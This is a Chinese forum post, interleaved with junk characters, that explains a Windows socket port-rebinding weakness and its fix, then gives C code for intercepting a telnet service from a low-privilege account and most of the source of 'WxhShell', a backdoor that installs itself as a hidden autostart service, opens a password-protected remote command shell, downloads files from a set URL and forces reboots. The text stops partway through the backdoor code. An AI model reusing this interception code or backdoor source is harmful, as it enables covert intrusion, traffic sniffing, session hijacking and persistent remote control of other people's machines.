社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 9059阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: FPb4VJ|xm  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s4uZ>  
cqYMzS t  
  saddr.sin_family = AF_INET; -M6#,Ji  
73j\!x  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 1y3)ogL  
wY]ejK$0R  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); A&N$=9.N1  
?`= <*{_o  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 fJ  GwT  
<=~*`eWV  
  这意味着什么?意味着可以进行如下的攻击: b{BiC&3  
\J(kevX  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 $~e55X'!+  
!c"EgP+  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 3mQ3mV:  
|F4)&xN\  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;fYJ]5>  
: ]JMsa6  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  yi8AzUW cW  
qXprD.; }  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 (fYYcpd,k  
yxtfyf|9 '  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ux8K$$$  
Zd| u>tn  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 dUQ )&Hv  
6W< Ig;  
  #include CZ!gu Y=  
  #include ')T*cLQ><  
  #include ~ #jnkD  
  #include    @.,Mn#  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Cp?6vu|RA  
  int main() !<&To  
  { },=ORIB B:  
  WORD wVersionRequested; "r=p/"4D  
  DWORD ret; = Rn  
  WSADATA wsaData; iu9+1+-  
  BOOL val; Y .E.(\  
  SOCKADDR_IN saddr; tl 9`  
  SOCKADDR_IN scaddr; ;Kh[6{W  
  int err; 2K^xN]]rG  
  SOCKET s; SmS6B5j\R  
  SOCKET sc; BXNC(^  
  int caddsize; =)#<u9 qqL  
  HANDLE mt; 6>3zD)tG  
  DWORD tid;   bZ#KfR  
  wVersionRequested = MAKEWORD( 2, 2 ); cSBS38>  
  err = WSAStartup( wVersionRequested, &wsaData ); )xL_jSyh  
  if ( err != 0 ) { Y>{%,d#s_  
  printf("error!WSAStartup failed!\n"); hltUf5m'b  
  return -1; iL<FF N~{  
  } z%]3`_I  
  saddr.sin_family = AF_INET; {z9,CwJan?  
   </B:Zjn  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >[N6_*K]  
8 .&P4u i  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); R|k!w]  
  saddr.sin_port = htons(23); .kyes4Z  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hXD`OlX  
  {  T4J WZ  
  printf("error!socket failed!\n"); VVEJE$  
  return -1; (S?qxW?  
  } 'JO}6 ;W  
  val = TRUE; lmIphOUoIw  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 5k c?:U&  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) >_#A*B|  
  { [U$`nnp  
  printf("error!setsockopt failed!\n"); =I9hGj6  
  return -1; *l@T 9L[M'  
  } /VFQbJ+`  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 4<- E0  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =y^ g*9}_  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 -%Jm-^F I  
Sq5}v]k@&  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) J! "m{ 8-  
  { KkJE-k*D+w  
  ret=GetLastError(); _QtW)\)5 \  
  printf("error!bind failed!\n"); PWV+ M@  
  return -1; 2h) *  
  } #bb$Icmtk  
  listen(s,2); _$mS=G(  
  while(1) :4>LtfA  
  { SbobXTbG  
  caddsize = sizeof(scaddr); mp0s>R  
  //接受连接请求 <^+&A7 Q-_  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); BPy pA $  
  if(sc!=INVALID_SOCKET) Q@s G6 iz  
  { ZC&~InN  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); V.!z9AQ  
  if(mt==NULL) orEb+  
  { { !t6& A  
  printf("Thread Creat Failed!\n"); t?p>L*  
  break; ;?gR,AKZ  
  } aSeh?2n8  
  } 2bf#L?5g/  
  CloseHandle(mt); OSK:Cb.-?F  
  } rY"EW"y  
  closesocket(s); rD>q/,X=\  
  WSACleanup(); (DM8PtZg  
  return 0; I^O`#SA(  
  }   ^.[+)0I  
  DWORD WINAPI ClientThread(LPVOID lpParam) g:>dF#  
  { >SS979  
  SOCKET ss = (SOCKET)lpParam; %"3tGi:/  
  SOCKET sc; 3UcOpq2i\  
  unsigned char buf[4096]; 7': <I- Fm  
  SOCKADDR_IN saddr; &RlYw#*1.  
  long num; ([hd  
  DWORD val; /j:-GJb*!u  
  DWORD ret; Bn Nu/02.=  
  //如果是隐藏端口应用的话,可以在此处加一些判断 >kV=h?]Y  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   V/8yW3]Xy  
  saddr.sin_family = AF_INET; U}W7[f lc  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 8 =3$U+  
  saddr.sin_port = htons(23); n(\VP!u5r  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) n{E + r  
  { jAD{?/RB}  
  printf("error!socket failed!\n"); +B OuU#  
  return -1; {Yt i  
  } p|=0EWo4U  
  val = 100; t<qXXQ&5  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) i^/D_L.  
  { .7H* F9  
  ret = GetLastError(); ":Pfi!9Wl  
  return -1; SA6.g2pFz  
  } h{Y#. j~aS  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Xx=.;FYk  
  { 28o!>*  
  ret = GetLastError(); "\kr;X'  
  return -1; f>+:UGmP  
  } r)Iq47Uiw  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) oFS)3.  
  { NZ~"2~Hh  
  printf("error!socket connect failed!\n"); Jz)c|8U  
  closesocket(sc); "cX*GTNi8  
  closesocket(ss); UyOoyyd.  
  return -1; JZ0u/x5  
  } qC YXkZ%`  
  while(1) 0bG2YMs  
  { aEqDxr6  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 C9 cQ} j:  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 qgsKbsl  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 nL* SNQ_  
  num = recv(ss,buf,4096,0); _qhYG1t  
  if(num>0) f<( ysl1[  
  send(sc,buf,num,0); 1)h+xY  
  else if(num==0) ,xIWyI.  
  break; ESv&x6H  
  num = recv(sc,buf,4096,0); zI3Bb?4.  
  if(num>0) o*|j}hnbv  
  send(ss,buf,num,0); ' |K408i   
  else if(num==0) #3Jn_Y%P.  
  break; J9/}ZD^  
  } mkt%|Kb.  
  closesocket(ss); +wg|~Lef h  
  closesocket(sc); eMDraJv@  
  return 0 ; hlTM<E  
  } cXvq=Rb  
)3~):+  
~@bh[o~rF  
========================================================== mGqT_   
- AxO1 qO  
下边附上一个代码,,WXhSHELL [0mg\n?  
)}jXC4  
========================================================== ]Syr{|  
WT>2eMK[  
#include "stdafx.h" ?)B\0` %*'  
sYb(g'W*'  
#include <stdio.h> 7q[a8rUdh  
#include <string.h> V3$Yr"rZ;  
#include <windows.h> -.X-02  
#include <winsock2.h> 5m&Zq_Qe  
#include <winsvc.h> X,h"%S<c#H  
#include <urlmon.h> Do5)ilt  
k),.  
#pragma comment (lib, "Ws2_32.lib") Ljjuf=]  
#pragma comment (lib, "urlmon.lib") $,~D-~-  
J M,ndl  
#define MAX_USER   100 // 最大客户端连接数 Grw|8xN0t  
#define BUF_SOCK   200 // sock buffer O o+pi$W  
#define KEY_BUFF   255 // 输入 buffer S( r Fa  
G\1\L*+0  
#define REBOOT     0   // 重启 Q4,!N(>D  
#define SHUTDOWN   1   // 关机 WD7IF+v  
5u-jjUO  
#define DEF_PORT   5000 // 监听端口 9vZD?6D,n  
cRhu]fv()  
#define REG_LEN     16   // 注册表键长度 N3J;_=<4  
#define SVC_LEN     80   // NT服务名长度 Q5H! ^RQm  
8vLaSZ="[  
// 从dll定义API o1 kY|cnGH  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); aqk0+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); i7/I8y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3,<$z1Jm  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @Js^=G2  
5dE@ePO[/9  
// wxhshell配置信息 9zKrFqhNo  
struct WSCFG { [Q2"OG@Q  
  int ws_port;         // 监听端口 _3YuPMaN  
  char ws_passstr[REG_LEN]; // 口令 Nf<mgOAT1  
  int ws_autoins;       // 安装标记, 1=yes 0=no %cl=n!T  
  char ws_regname[REG_LEN]; // 注册表键名 M_wj>NXZ  
  char ws_svcname[REG_LEN]; // 服务名 :q0TS>l  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 eZMDtB  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7xIXFuu  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $ &Ntdn  
int ws_downexe;       // 下载执行标记, 1=yes 0=no As;@T$G  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" i0y^b5@MOb  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Pu=,L#+FN  
n5~7x   
}; $6ev K~  
#ONad0T;  
// default Wxhshell configuration |ZAR!u&0  
struct WSCFG wscfg={DEF_PORT, Az}.Z'LJ  
    "xuhuanlingzhe", 69{BJ] q  
    1, axSJ:j8  
    "Wxhshell", N:]71+  
    "Wxhshell", Qt@_C*,P  
            "WxhShell Service", \L"Vx9xT  
    "Wrsky Windows CmdShell Service", Nj<}t/e  
    "Please Input Your Password: ", =skw@c ^  
  1, -r6cK,WVU  
  "http://www.wrsky.com/wxhshell.exe", vjcG F'-  
  "Wxhshell.exe" NYoh6AR  
    }; y\Z$8'E5W  
ok"v`76~f5  
// 消息定义模块 ?~vVSY  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Stkyz:,(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; R;wq  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8T7E.guYr  
char *msg_ws_ext="\n\rExit."; arR9uxP  
char *msg_ws_end="\n\rQuit."; Vy:I[@6@+  
char *msg_ws_boot="\n\rReboot..."; 'Olp2g8=  
char *msg_ws_poff="\n\rShutdown..."; \{HbL,s  
char *msg_ws_down="\n\rSave to "; X2? ^t]-N  
=z5'A|Wa=,  
char *msg_ws_err="\n\rErr!"; ETw7/S${  
char *msg_ws_ok="\n\rOK!"; 3++}4%w  
\DG 6  
char ExeFile[MAX_PATH]; 1VlRdDg  
int nUser = 0; QUPZe~G>L  
HANDLE handles[MAX_USER]; csceu+ IA  
int OsIsNt; <QlpIgr  
8!~8:?6n  
SERVICE_STATUS       serviceStatus; )"W(0M] >  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; IMKyFp]h-  
J4yL"iMt  
// 函数声明 yMU>vr  
int Install(void); `OL@@`'^{S  
int Uninstall(void); 3C,G~)= x  
int DownloadFile(char *sURL, SOCKET wsh); #Sxk[[KwH*  
int Boot(int flag); :2'y=t#  
void HideProc(void); M.|cl#  
int GetOsVer(void); \(ygdZ{R  
int Wxhshell(SOCKET wsl); Rqi= AQ  
void TalkWithClient(void *cs); e;+6U"Jx*  
int CmdShell(SOCKET sock); 0pO{{F  
int StartFromService(void); JnW G_|m)  
int StartWxhshell(LPSTR lpCmdLine); 0zQ^ 6@  
LH=gNFgzt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q&/<~RC*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); LW={| 3}  
\~sc6ho  
// 数据结构和表定义 O%g Q  
SERVICE_TABLE_ENTRY DispatchTable[] = laR cEXj  
{ PTU_<\  
{wscfg.ws_svcname, NTServiceMain}, ~$I9%z7@  
{NULL, NULL} _JVFn=  
}; #GDnV/0)  
E [:eMJR  
// 自我安装 +3a} ~pW  
int Install(void) Fgx{ s%&-  
{ m* Zq3j  
  char svExeFile[MAX_PATH]; skd3E4  
  HKEY key; Q]JWWKt6rV  
  strcpy(svExeFile,ExeFile); DzfgPY_Py  
?IKSSe#,  
// 如果是win9x系统,修改注册表设为自启动 Z~g6C0  
if(!OsIsNt) { (Dy6I;S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U$*AV<{%   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |fL|tkGEa  
  RegCloseKey(key); Nl4,c[$C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6:fHPlqW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y*F !k{P  
  RegCloseKey(key); L701j.7"  
  return 0; @q98ac*{  
    } iS p +~  
  } Wq5 }SM  
} 4YuJ-  
else { Qm-I=Rh+  
u|ph_?6 o  
// 如果是NT以上系统,安装为系统服务 /C[Q?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1^f7  
if (schSCManager!=0) .wU0F  
{ Su]@~^w  
  SC_HANDLE schService = CreateService F@]9 oF  
  ( &z;bX-"E  
  schSCManager, 3WVH8Sb  
  wscfg.ws_svcname, AiP#wK;  
  wscfg.ws_svcdisp, j8cIpbp8x  
  SERVICE_ALL_ACCESS, Q#Tg)5.\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?*)Q[P5  
  SERVICE_AUTO_START, {Jna' eS  
  SERVICE_ERROR_NORMAL, B\73 Vf  
  svExeFile, =JkPE2mU  
  NULL, H[S}&l\D4  
  NULL, .+07 Ui]I!  
  NULL, GM~Ek] 9C%  
  NULL, :17Pc\:DS  
  NULL g<E[IR  
  ); @%'1Jd7-Wp  
  if (schService!=0) NihUCj"  
  { %.h&W;  
  CloseServiceHandle(schService); J dM0f!3  
  CloseServiceHandle(schSCManager); -wsoJh  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); YE*%Y["  
  strcat(svExeFile,wscfg.ws_svcname); jIL+^{K<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { o=nF.y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %eE0a4^".  
  RegCloseKey(key); >\7M f@c  
  return 0; P=[_W;->}  
    } h-f`as"d  
  } zA>LrtyK(=  
  CloseServiceHandle(schSCManager); (GW"iL#.  
} aw923wEi  
} EV'i/*v}\  
Ka_g3  
return 1; 6MD9DqD  
} ` pYyr/  
lR>p  
// 自我卸载 K1+4W=|  
int Uninstall(void) Ol sX  
{ n)Zu>  
  HKEY key; 8\X-]Gh\^  
M!/!*,~  
if(!OsIsNt) { 8345 H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :#VdFMC<  
  RegDeleteValue(key,wscfg.ws_regname); @DNwzdP  
  RegCloseKey(key); q^DQ9B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `53S[8  
  RegDeleteValue(key,wscfg.ws_regname); Ei7Oi!1  
  RegCloseKey(key); }G)2HTaZ  
  return 0; |@1M'  
  } ;u-[%(00S  
} -N'wKT5  
} l;SXR <EU  
else { GBl[s,g[|  
_P` ^B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); b8 E{~z  
if (schSCManager!=0) Xw#"?B(M]  
{ ]6 HR  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fm^J-  
  if (schService!=0) +lXIv  
  { &qzy?/i8  
  if(DeleteService(schService)!=0) { X<D fzd oI  
  CloseServiceHandle(schService);  6oI/*`>  
  CloseServiceHandle(schSCManager); JvsL]yRT  
  return 0; ?Dl;DE1  
  } ^;9<7 h[l  
  CloseServiceHandle(schService); l>?f+70  
  } 'T|EwrS j  
  CloseServiceHandle(schSCManager); 2 :4o`o  
} rb*0YCi  
} BM{*5Lf  
' <?=!&\D  
return 1; f5Hv![x  
} k. NJ+  
@uz(h'~  
// 从指定url下载文件 1bFGoLAEFl  
int DownloadFile(char *sURL, SOCKET wsh) MH|F<$42  
{ +c8t~2tuN  
  HRESULT hr; I+F >^4_d  
char seps[]= "/"; w!pj);jy{  
char *token; N^M6*,F,J  
char *file; &Hyy .a  
char myURL[MAX_PATH]; NM9,AG  
char myFILE[MAX_PATH]; AmZW=n2^  
44s 9\  
strcpy(myURL,sURL); yk'L_M(=  
  token=strtok(myURL,seps); =CW> ;h]  
  while(token!=NULL) 'd|!Hr<2  
  { rvU^W+d  
    file=token; h;#046-7  
  token=strtok(NULL,seps); &Dt=[yqeG  
  } tLU@&NY`  
73B[|J*  
GetCurrentDirectory(MAX_PATH,myFILE); )4h|7^6ji  
strcat(myFILE, "\\"); <5"&]! .  
strcat(myFILE, file); BNF*1JO  
  send(wsh,myFILE,strlen(myFILE),0); t Davp:M1v  
send(wsh,"...",3,0); eso-{W,D  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); cs7^#/3<  
  if(hr==S_OK) VC0Tqk  
return 0; (?g+.]Dt,  
else  iDx(qdla  
return 1; q{_f"  
d&AO 4^  
} omGzyuPF  
1V9AnzwX  
// 系统电源模块 [y}h   
int Boot(int flag) aOw#]pB|  
{ -L4G)%L\  
  HANDLE hToken; jo0XF]  
  TOKEN_PRIVILEGES tkp; d#XgO5eyO  
f_$hK9I  
  if(OsIsNt) { OSfT\8YA  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5]up%.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  4Y}Nu  
    tkp.PrivilegeCount = 1; 'sXrtl7{^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; mr/?w0(C  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +$#<gp"  
if(flag==REBOOT) { Trs2M+r)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4:S]n19nq  
  return 0; oc]:Ty  
} =|``d-  
else { zc=G4F01  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4F9!3[}qF  
  return 0; G3`9'-2q@c  
} t#@z_Mn\  
  } @87Y/_l  
  else { =PQ4S2Q  
if(flag==REBOOT) { 5jso)`IL  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3!\h'5{  
  return 0; &tvtL  
} :aBxyS*}G  
else { kX+9U"` C  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) DQ3 L=  
  return 0; l*OR{!3H$  
} [OTn>/W'  
} }:{9!RMO  
#R:&Irh  
return 1; S5u$I  
} z/+{QBen8  
6WT3-@d  
// win9x进程隐藏模块 343d`FRa}  
void HideProc(void) Ihf)gfHj  
{ akNqSZwj  
:N_]*>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {|hg3R~A  
  if ( hKernel != NULL ) Axns  
  { 1KrJS(.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #) :.1Z?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8C8S) ;  
    FreeLibrary(hKernel); EpNN!s=Q  
  } FG[rH]   
J9!/C#Fm  
return; Q.$Rhjb  
} .MG83Si  
I/O/*^T  
// 获取操作系统版本 CEI"p2  
int GetOsVer(void) h'};spv  
{ Q&vdBO/  
  OSVERSIONINFO winfo; /+J nEFf  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /{`"X_.o  
  GetVersionEx(&winfo); jk&xzJH.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^Z#G_%\Y:  
  return 1; 7@>/O)>(AS  
  else Lo_+W1+  
  return 0; p*,T~(A6  
} C0/^6Lu"o  
K$Vu[!l`  
// 客户端句柄模块 c'tQA  
int Wxhshell(SOCKET wsl) +pme]V|<  
{ -$o0P'Vx  
  SOCKET wsh; ih/E,B"  
  struct sockaddr_in client; 0&|0l>wy.  
  DWORD myID; {eI'0==  
ws5Ue4g|  
  while(nUser<MAX_USER) eGq7+  
{ z,ERq,g+L  
  int nSize=sizeof(client); kMurNA=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); S}VS@KDO  
  if(wsh==INVALID_SOCKET) return 1; s$>n U  
ciN\SA ZY  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 96<oX:#  
if(handles[nUser]==0) $'3xl2T  
  closesocket(wsh); f0 sGE5  
else PjEJ C@n  
  nUser++; f\dfKNm6  
  } [Cv./hEQi  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <C&|8@A0  
8!Wh`n<  
  return 0; $U]T8;5Q  
} CUI+@|]%  
iBAP,cR?`  
// 关闭 socket 9;U?_   
void CloseIt(SOCKET wsh) 6 Ln~b<I  
{ 4\&Y;upy+  
closesocket(wsh); aqI"4v]~b  
nUser--; c**&,aL  
ExitThread(0); A_oZSUrR  
} jW`JThoq  
Icrnu}pl_  
// 客户端请求句柄 f; |fS~  
void TalkWithClient(void *cs) %r(WS_%K|  
{ N5=BjXS Ag  
*C5`LgeX  
  SOCKET wsh=(SOCKET)cs; `9K5 ;]  
  char pwd[SVC_LEN]; R>"Fc/{y  
  char cmd[KEY_BUFF]; dJ6fPB|k  
char chr[1]; rl%,9JD!  
int i,j; 4G(7V:  
:L NE ?@  
  while (nUser < MAX_USER) { Vz/w.%_g  
ALTOi?  
if(wscfg.ws_passstr) { ;z4F-SYQ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,<tJ` ,0X  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $q@d.Z>;  
  //ZeroMemory(pwd,KEY_BUFF); P{n#^4  
      i=0; Om0$6O  
  while(i<SVC_LEN) { ~/`/r%1/J  
Z{0BH{23  
  // 设置超时 Z*co\ pW  
  fd_set FdRead; )Wk_|zO-  
  struct timeval TimeOut; ~#*C,4m  
  FD_ZERO(&FdRead); gfg,V.:  
  FD_SET(wsh,&FdRead); |g3:+&  
  TimeOut.tv_sec=8; ^_bG{du  
  TimeOut.tv_usec=0; Dd5 9xNKm  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (CxA5u1|l  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); MMFwT(l<1  
T(7`$<TQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M-"j8:en  
  pwd=chr[0]; p5fr}#en  
  if(chr[0]==0xd || chr[0]==0xa) { AYA{_^#+3  
  pwd=0; A ]A{HEX  
  break; [v"Z2F<.=  
  } I1E9E$m5\<  
  i++; w'H'o!*/  
    } U8Y%rFh1  
 lln"c  
  // 如果是非法用户,关闭 socket g^]Iw~T6$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f)/Z7*Z  
} neI7VbH4  
={:a N)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); nTqU~'d'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /e'3\,2_  
x"12$7 9=  
while(1) { '9V/w[mI  
K.)!qkW-%S  
  ZeroMemory(cmd,KEY_BUFF); crM5&L9zF  
e,p"=/!aY  
      // 自动支持客户端 telnet标准   m;OvOc,  
  j=0; l/X_CM8y~  
  while(j<KEY_BUFF) { o]e,5]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [MTd<@  
  cmd[j]=chr[0]; lhN@ ,q  
  if(chr[0]==0xa || chr[0]==0xd) { !2LX+*;  
  cmd[j]=0; hC:'L9Y  
  break; v03cQw\"WE  
  } !,Uo{@E)Y  
  j++; ebk>e*  
    } "<ZV'z  
I@'[>t  
  // 下载文件 EjR(AqZY  
  if(strstr(cmd,"http://")) { 03 @a G  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); dDaV2:4E  
  if(DownloadFile(cmd,wsh)) .{1$;K @  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); h&<"jCjL  
  else > {*cW  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J6Z[c*W  
  } ;t&q|}x"  
  else { 1X?ro;  
A5XMA|2_  
    switch(cmd[0]) { x%B_v^^^  
  Tru{8]uMH  
  // 帮助 B@,r8)D  
  case '?': { /Y7^!3uM  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); iE~!?N|a3  
    break; _\WR3Q!V  
  } DB'0  
  // 安装 8MJJ w;  
  case 'i': { |`T(:ZKXZ2  
    if(Install()) <|Td0|x _q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nh} Xu~#_  
    else %6m/ve  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :;k?/KU7  
    break; ]&*POri&  
    } s.2f'i+  
  // 卸载 /7AHd ;  
  case 'r': { sl'4AK~\  
    if(Uninstall()) gQ+]N*.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VdHT3r  
    else L< F8+a7i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0]DOiA  
    break; 0@ `]m  
    } "<CM 'R  
  // 显示 wxhshell 所在路径 %F*9D3^h  
  case 'p': { I5Vn#_q+b  
    char svExeFile[MAX_PATH]; 2f,8Jnia  
    strcpy(svExeFile,"\n\r"); /UCBoQ$/]  
      strcat(svExeFile,ExeFile); 7H7 Xbi@  
        send(wsh,svExeFile,strlen(svExeFile),0); ^h[6{F~J  
    break; &`^(dO9  
    } h3MdQlJ&  
  // 重启 W{6QvQD8  
  case 'b': { 7+jxf[(XQ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W5R/Ub@g  
    if(Boot(REBOOT)) RNT9M:w  
